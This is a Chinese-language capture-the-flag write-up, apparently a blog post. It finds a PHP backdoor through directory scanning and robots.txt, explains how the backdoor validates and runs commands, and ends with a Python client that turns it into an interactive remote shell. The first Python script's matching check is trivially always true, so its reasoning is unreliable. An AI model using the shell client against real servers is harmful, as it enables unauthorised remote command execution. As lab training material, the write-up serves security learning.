首先进入靶场

没有任何提示,尝试爆破目录

好,发现一个机器人txt,进去看看

不让看,还提示了新页面,继续跟上

后门到手了,接下来分析一下:

execute_cmd($cmd)函数接收一个参数$cmd,并使用system()函数执行该命令。system()函数是PHP中用于执行外部程序并显示其输出的函数。当这个函数被滥用时,它可能导致远程代码执行(RCE)漏洞。decrypt_request($cmd, $key)函数用于解密和验证传入的命令字符串$cmd。它首先使用base64_decode()函数解码密钥$key。然后,它反转命令字符串$cmd,并计算反转后的字符串的MD5哈希值。如果这个哈希值与解码后的密钥不匹配,则脚本将终止执行并显示“Invalid key”错误。如果匹配,则对命令字符串进行Base64解码,并返回解码后的字符串。脚本检查是否通过POST请求提交了cmdkey参数。如果两个参数都存在,则使用decrypt_request()函数解密并验证命令,然后执行该命令。如果参数不存在,则高亮显示当前文件的内容。

那么接下来来写个脚本尝试碰撞合适的值:

import hashlib  

import base64  

import random  

import string  

def generate_random_string(length=8):  

    return ”.join(random.choices(string.ascii_letters + string.digits, k=length))  

def md5_hash(input_string):  

    hasher = hashlib.md5()  

    hasher.update(input_string.encode(‘utf-8’))  

    return hasher.hexdigest()  

def base64_encode(input_string):  

    return base64.b64encode(input_string.encode(‘utf-8’)).decode(‘utf-8’)  

def base64_decode(input_string):  

    return base64.b64decode(input_string.encode(‘utf-8’)).decode(‘utf-8’)  

def find_matching_pair():  

    while True:  

        cmd = generate_random_string()  

        reversed_cmd = cmd[::-1]  

        cmd_md5 = md5_hash(reversed_cmd)

        key = base64_encode(cmd_md5)

        if base64_decode(key) == cmd_md5:

            print(f”Found matching pair!\ncmd: {cmd}\nkey: {key}”)  

            break

find_matching_pair()

跑出了一对

cmd: PpI3voGl

key: NzY0Yzg4NTQ5M2RmZWZhZTkxOWZmNzQzMzUxNzY0MDU=

然后我们需要对cmd进行base编码,得到结果

接下来进行post传参,还是使用python进行,提交后初flag。

这题的出法不鼓励手搓!!!先编码再逆序,执行一个指令都费劲,flag 位置没猜对就得再搓一遍。只要脚本写好,这题完全可以得到一个简洁的交互式 shell:

交互式 Shell 示意图

附代码:

python

import requests
import base64
import hashlib
print("[+] Shell for newstar_zhixieweiji")
url = input("[+] Enter the target URL: ")
def execute_command(cmd):
    cmd_encoded = base64.b64encode(cmd.encode()).decode()
    cmd_reversed = cmd_encoded[::-1]
    hashed_reversed_cmd = hashlib.md5(cmd_reversed.encode()).hexdigest()
    encoded_key = base64.b64encode(hashed_reversed_cmd.encode()).decode()
    payload = {'cmd': cmd_encoded,'key': encoded_key}
    response = requests.post(url, data=payload)
    return response.text[:-1]
hostname = execute_command("hostname")
username = execute_command("whoami")
while True:
    directory = execute_command("pwd")
    command = input(f"{username}@{hostname}:{directory}$ ")
    output = execute_command(command)
    print(output)

admin

By admin

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注